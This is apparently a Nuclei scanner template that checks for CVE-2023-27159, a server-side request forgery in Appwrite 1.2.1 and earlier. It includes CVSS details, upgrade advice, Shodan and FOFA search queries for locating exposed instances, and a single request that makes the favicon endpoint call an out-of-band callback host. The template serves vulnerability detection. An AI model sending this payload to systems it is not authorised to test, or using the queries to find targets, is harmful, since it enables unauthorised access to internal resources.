58 lines
2.1 KiB
YAML
58 lines
2.1 KiB
YAML
id: CVE-2023-27159
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info:
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name: Appwrite <=1.2.1 - Server-Side Request Forgery
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author: DhiyaneshDk
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severity: high
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description: |
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Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
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impact: |
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This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
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remediation: |
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Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
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reference:
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- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
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- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
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- https://nvd.nist.gov/vuln/detail/CVE-2023-27159
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- http://appwrite.com
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- https://github.com/appwrite/appwrite
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2023-27159
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cwe-id: CWE-918
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epss-score: 0.00418
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epss-percentile: 0.74069
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cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: appwrite
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product: appwrite
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shodan-query:
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- title:"Sign In - Appwrite"
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- http.title:"sign in - appwrite"
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- http.favicon.hash:-633108100
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fofa-query:
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- icon_hash=-633108100
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- title="sign in - appwrite"
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google-query: intitle:"sign in - appwrite"
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tags: cve2023,cve,appwrite,ssrf,oast
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http:
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- method: GET
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path:
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- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: Appwrite-Server"
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# digest: 4b0a004830460221009995c76e71bc9dfb63841aac9f371ad3473812dd9d9e92771f5127cb7ee8fcc7022100add03fbd8cf31aa10595f8064487e6171a3e858699f964a91273205cea0742f0:922c64590222798bb761d5b6d8e72950 |